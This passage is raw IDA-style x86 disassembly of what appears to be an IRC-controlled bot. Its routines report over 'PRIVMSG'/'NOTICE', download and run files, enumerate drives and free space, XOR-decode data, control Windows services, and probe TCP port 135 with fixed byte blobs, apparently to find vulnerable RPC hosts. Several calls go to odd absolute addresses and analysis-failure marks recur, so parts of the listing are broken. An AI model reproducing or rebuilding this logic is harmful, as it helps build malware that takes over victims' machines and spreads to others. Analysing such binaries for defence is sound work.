[ebp+arg_0] call dword_43AE30 loc_40CAE1: ; CODE XREF: sub_40C8B4+222j push [ebp+var_1C] call sub_417078 pop ecx push ebx call near ptr 2610356h nop sub_40C8B4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CAF1 proc near ; DATA XREF: sub_40EE72+381Eo ; sub_40EE72+3F6Do var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_43AD48 call dword_43ACA8 cmp eax, esi mov [ebp+var_18], eax jz loc_40CF7D push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax nop call near ptr 26507E6h cmp eax, edi mov [ebp+var_20], eax jnb short loc_40CBB8 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_42E5E4 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CB9B push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CB9B: ; CODE XREF: sub_40CAF1+88j lea eax, [ebp+var_510] push eax call sub_40BF6D push [ebp+var_48] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610356h loc_40CBB8: ; CODE XREF: sub_40CAF1+68j xor edi, edi nop call near ptr 2610765h mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_417B89 pop ecx mov [ebp+var_1C], eax loc_40CBD2: ; CODE XREF: sub_40CAF1+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_43ACB0 cmp [ebp+var_34], esi jz short loc_40CC16 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_40CFE3 pop ecx pop ecx loc_40CC16: ; CODE XREF: sub_40CAF1+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] nop call near ptr 2640000h cmp edi, ebx jnb short loc_40CC54 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40CC3E mov eax, [ebp+arg_0] loc_40CC3E: ; CODE XREF: sub_40CAF1+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_417390 add esp, 0Ch loc_40CC54: ; CODE XREF: sub_40CAF1+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40CC61 cmp edi, [ebp+var_3C] ja short loc_40CCAB loc_40CC61: ; CODE XREF: sub_40CAF1+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_40CC7B shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E59C jmp short loc_40CC8B ; --------------------------------------------------------------------------- loc_40CC7B: ; CODE XREF: sub_40CAF1+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E55C loc_40CC8B: ; CODE XREF: sub_40CAF1+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_4405F0 push eax call sub_4172B0 add esp, 10h cmp [ebp+arg_0], esi ja loc_40CBD2 loc_40CCAB: ; CODE XREF: sub_40CAF1+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_40CD00 cmp edi, [ebp+var_3C] jz short loc_40CD00 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_42E518 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD00: ; CODE XREF: sub_40CAF1+1C4j ; sub_40CAF1+1C9j call near ptr 2610765h nop sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 2631A0Bh push [ebp+var_1C] call sub_417C3B cmp [ebp+var_38], esi pop ecx jz short loc_40CD8A lea eax, [ebp+var_148] push eax call sub_40C259 cmp eax, [ebp+var_38] pop ecx jz short loc_40CD8A push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_42E4E0 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD8A: ; CODE XREF: sub_40CAF1+241j ; sub_40CAF1+253j cmp [ebp+var_14], esi jz loc_40CFCA cmp [ebp+var_44], 1 jz loc_40CE85 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E498 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CE05 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CE05: ; CODE XREF: sub_40CAF1+2F2j lea eax, [ebp+var_510] push eax call sub_40BF6D cmp [ebp+var_40], 1 pop ecx jnz loc_40CFCA push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_43AD0C cmp [ebp+var_30], esi jnz loc_40CFCA lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_42E464 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 24h jmp loc_40CFCA ; --------------------------------------------------------------------------- loc_40CE85: ; CODE XREF: sub_40CAF1+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E414 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CEED push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CEED: ; CODE XREF: sub_40CAF1+3DAj lea eax, [ebp+var_510] push eax call sub_40BF6D push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_417330 add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_436EDC push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi call near ptr 27505A0h nop cmp eax, edi jnz short loc_40CF6F call dword_43ACF8 call sub_40AC42 push esi nop call near ptr 77E75CB5h loc_40CF6F: ; CODE XREF: sub_40CAF1+46Aj lea eax, [ebp+var_148] push eax push offset unk_42E3CC jmp short loc_40CF89 ; --------------------------------------------------------------------------- loc_40CF7D: ; CODE XREF: sub_40CAF1+45j lea eax, [ebp+var_248] push eax push offset unk_42E390 loc_40CF89: ; CODE XREF: sub_40CAF1+48Aj lea eax, [ebp+var_510] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CFBD push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CFBD: ; CODE XREF: sub_40CAF1+4AAj lea eax, [ebp+var_510] push eax call sub_40BF6D pop ecx loc_40CFCA: ; CODE XREF: sub_40CAF1+29Cj ; sub_40CAF1+325j ... push [ebp+var_18] call dword_43ADCC push [ebp+var_48] call sub_417078 pop ecx push esi nop call near ptr 2610356h sub_40CAF1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40CFE3 proc near ; CODE XREF: sub_40CAF1+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40CFFF loc_40CFEF: ; CODE XREF: sub_40CFE3+1Aj mov dl, byte_42F5C4 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40CFEF locret_40CFFF: ; CODE XREF: sub_40CFE3+Aj retn sub_40CFE3 endp ; =============== S U B R O U T I N E ======================================= sub_40D000 proc near ; CODE XREF: sub_40EE72+2A7Ep ; sub_40EE72+2BA4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4197F9 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40D000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D01A proc near ; CODE XREF: sub_406387+458p ; sub_406387+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_43F168 push 0 push edi call sub_417330 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40D03F: ; CODE XREF: sub_40D01A+5Bj ; sub_40D01A+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_4191D0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_419250 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40D07D inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40D03F mov byte ptr [esi], 2Ch inc esi jmp short loc_40D03F ; --------------------------------------------------------------------------- loc_40D07D: ; CODE XREF: sub_40D01A+4Bj dec esi mov eax, edi loc_40D080: ; CODE XREF: sub_40D01A+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40D08F mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40D080 ; --------------------------------------------------------------------------- loc_40D08F: ; CODE XREF: sub_40D01A+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40D01A endp ; =============== S U B R O U T I N E ======================================= sub_40D099 proc near ; CODE XREF: sub_40D24E+51p ; sub_40D24E+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_43ADF8 sub eax, 0 jz short loc_40D0DC dec eax jz short loc_40D0D6 dec eax dec eax jz short loc_40D0D0 dec eax jz short loc_40D0CA dec eax jz short loc_40D0C4 dec eax jz short loc_40D0BE mov eax, offset word_42DDD0 retn ; --------------------------------------------------------------------------- loc_40D0BE: ; CODE XREF: sub_40D099+1Dj mov eax, offset off_42E644 retn ; --------------------------------------------------------------------------- loc_40D0C4: ; CODE XREF: sub_40D099+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40D0CA: ; CODE XREF: sub_40D099+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40D0D0: ; CODE XREF: sub_40D099+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40D0D6: ; CODE XREF: sub_40D099+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40D0DC: ; CODE XREF: sub_40D099+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40D099 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0E2 proc near ; CODE XREF: sub_40D12A+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_43AC94 test eax, eax jz short loc_40D117 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_40D117: ; CODE XREF: sub_40D0E2+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D0E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D12A proc near ; CODE XREF: sub_40B8D8+1F3p ; sub_40D24E+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40D0E2 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40D208 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_419840 push edx push eax call sub_40D01A pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41782A add esp, 10h pop ebx jmp short loc_40D23A ; --------------------------------------------------------------------------- loc_40D208: ; CODE XREF: sub_40D12A+2Cj ; sub_40D12A+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_4172B0 pop ecx pop ecx loc_40D23A: ; CODE XREF: sub_40D12A+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D12A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D24E proc near ; CODE XREF: sub_40D320+17p ; sub_40D320+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_4176D0 add esp, 10h test eax, eax jnz short loc_40D2C1 push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E6A4 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 14h jmp short loc_40D2F5 ; --------------------------------------------------------------------------- loc_40D2C1: ; CODE XREF: sub_40D24E+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E658 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 20h loc_40D2F5: ; CODE XREF: sub_40D24E+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_500] push eax call sub_40BF6D add esp, 18h pop edi pop esi pop ebx leave retn sub_40D24E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D320 proc near ; CODE XREF: sub_40EE72+57F0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40D341 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h jmp short loc_40D3A2 ; --------------------------------------------------------------------------- loc_40D341: ; CODE XREF: sub_40D320+9j push esi push edi push ebx push ebx call dword_43AD08 lea esi, [eax+2] push esi call sub_417B89 pop ecx mov edi, eax push edi push esi call dword_43AD08 cmp [edi], bl mov esi, edi jz short loc_40D399 loc_40D365: ; CODE XREF: sub_40D320+77j push offset aA_0 ; "A:\\" push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40D388 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h loc_40D388: ; CODE XREF: sub_40D320+54j push esi call sub_417AB0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40D365 loc_40D399: ; CODE XREF: sub_40D320+43j push edi call sub_417C3B pop ecx pop edi pop esi loc_40D3A2: ; CODE XREF: sub_40D320+1Fj pop ebx pop ebp retn sub_40D320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3A5 proc near ; DATA XREF: ___:0040E6BAo var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_4407FC call dword_43AE30 call sub_416F25 call dword_43ACF8 call dword_43ACF8 mov ebx, dword_424064 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_417330 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_436EDC mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2620000h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2660000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 27505A0h test eax, eax jz short loc_40D46A push 64h call ebx push [ebp+var_10] mov esi, dword_424078 call esi push [ebp+var_C] call esi loc_40D46A: ; CODE XREF: sub_40D3A5+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43F1A0 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx sub_40D3A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D48D proc near ; CODE XREF: sub_40D4C5+125p ; sub_40D4C5+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40D4BB loc_40D49E: ; CODE XREF: sub_40D48D+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_4198F0 add esp, 0Ch test eax, eax jz short loc_40D4C1 inc esi cmp esi, edi jl short loc_40D49E loc_40D4BB: ; CODE XREF: sub_40D48D+Fj xor al, al loc_40D4BD: ; CODE XREF: sub_40D48D+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40D4C1: ; CODE XREF: sub_40D48D+27j mov al, 1 jmp short loc_40D4BD sub_40D48D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4C5 proc near ; CODE XREF: sub_402DD7+8Bp ; sub_402DD7+174p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_417B30 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_40D506 dec eax jz short loc_40D4E4 dec eax loc_40D4DE: ; CODE XREF: sub_40D4C5+57j xor eax, eax loc_40D4E0: ; CODE XREF: sub_40D4C5+3Fj ; sub_40D4C5+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_40D4E4: ; CODE XREF: sub_40D4C5+16j push 3 push 1388h push [ebp+arg_0] call dword_43ADD8 push eax call sub_4076CA add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_40D4E0 ; --------------------------------------------------------------------------- loc_40D506: ; CODE XREF: sub_40D4C5+13j push 6 push 1 push 2 call dword_43AE18 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_40D4DE push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_43AD98 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_43AD40 cmp eax, edi jz loc_40D622 push ebx push 48h push offset dword_42E6F4 push esi call dword_43ADE8 cmp eax, edi jz loc_40D622 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43ADB0 cmp eax, edi jz loc_40D622 cmp [ebp+var_200E], 0Ch jnz short loc_40D622 push ebx push 18h push offset dword_42E740 push [ebp+arg_4] call dword_43ADE8 cmp eax, edi jz short loc_40D622 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43ADB0 mov esi, eax cmp esi, edi jz short loc_40D622 cmp [ebp+var_200E], 2 jnz short loc_40D622 push 10h push offset loc_42E75C lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h test al, al jz short loc_40D602 cmp esi, 12Ch setnl bl inc ebx jmp short loc_40D622 ; --------------------------------------------------------------------------- loc_40D602: ; CODE XREF: sub_40D4C5+12Fj push 10h push offset dword_42E770 lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_40D622: ; CODE XREF: sub_40D4C5+9Bj ; sub_40D4C5+B2j ... push [ebp+arg_4] call dword_43AE30 mov eax, ebx pop ebx jmp loc_40D4E0 sub_40D4C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D633 proc near ; CODE XREF: sub_40ECFA+3Dp ; sub_40EE72+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_4193FF add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43ADE8 leave retn sub_40D633 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D679 proc near ; CODE XREF: sub_401000+8Bp ; sub_40144A+76p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40D694 mov edi, offset aPrivmsg ; "PRIVMSG" loc_40D694: ; CODE XREF: sub_40D679+14j push edi call sub_417AB0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_417AB0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_42E784 push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43ADE8 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40D717 push 7D0h nop call near ptr 2610F93h locret_40D717: ; CODE XREF: sub_40D679+91j leave retn sub_40D679 endp ; =============== S U B R O U T I N E ======================================= sub_40D719 proc near ; CODE XREF: sub_40EE72:loc_410F84p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_40D771 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_42E7A8[esi] push edi push eax call sub_40D793 add esp, 14h test eax, eax jnz short loc_40D761 push edi push off_42E7A4[esi] push offset dword_42E8D4 loc_40D751: ; CODE XREF: sub_40D719+56j mov esi, offset dword_43F868 push esi call sub_4172B0 add esp, 10h jmp short loc_40D78E ; --------------------------------------------------------------------------- loc_40D761: ; CODE XREF: sub_40D719+2Aj push eax call sub_40D835 pop ecx push eax push edi push offset dword_42E89C jmp short loc_40D751 ; --------------------------------------------------------------------------- loc_40D771: ; CODE XREF: sub_40D719+Cj lea eax, [eax+eax*2] mov esi, offset dword_43F868 push off_42E7A0[eax*4] push offset dword_42E868 push esi call sub_4172B0 add esp, 0Ch loc_40D78E: ; CODE XREF: sub_40D719+46j mov eax, esi pop edi pop esi retn sub_40D719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D793 proc near ; CODE XREF: sub_40D719+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_43AD8C mov edi, eax cmp edi, ebx jnz short loc_40D7BA nop call near ptr 2650B3Dh mov ebx, eax jmp short loc_40D82F ; --------------------------------------------------------------------------- loc_40D7BA: ; CODE XREF: sub_40D793+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_43AC80 mov esi, eax cmp esi, ebx jnz short loc_40D7DA nop call near ptr 2650B3Dh mov ebx, eax jmp short loc_40D827 ; --------------------------------------------------------------------------- loc_40D7DA: ; CODE XREF: sub_40D793+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_40D80D cmp eax, 3 jz short loc_40D7FE jle short loc_40D820 cmp eax, 6 jg short loc_40D820 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_43ACE8 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D7FE: ; CODE XREF: sub_40D793+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_43AC88 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D80D: ; CODE XREF: sub_40D793+4Dj push esi call dword_43ACEC loc_40D814: ; CODE XREF: sub_40D793+69j ; sub_40D793+78j test eax, eax jnz short loc_40D820 call near ptr 2650B3Dh nop mov ebx, eax loc_40D820: ; CODE XREF: sub_40D793+54j ; sub_40D793+59j ... push esi call dword_43AC9C loc_40D827: ; CODE XREF: sub_40D793+45j push edi call dword_43AC9C pop esi loc_40D82F: ; CODE XREF: sub_40D793+25j mov eax, ebx pop edi pop ebx leave retn sub_40D793 endp ; =============== S U B R O U T I N E ======================================= sub_40D835 proc near ; CODE XREF: sub_40D719+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h 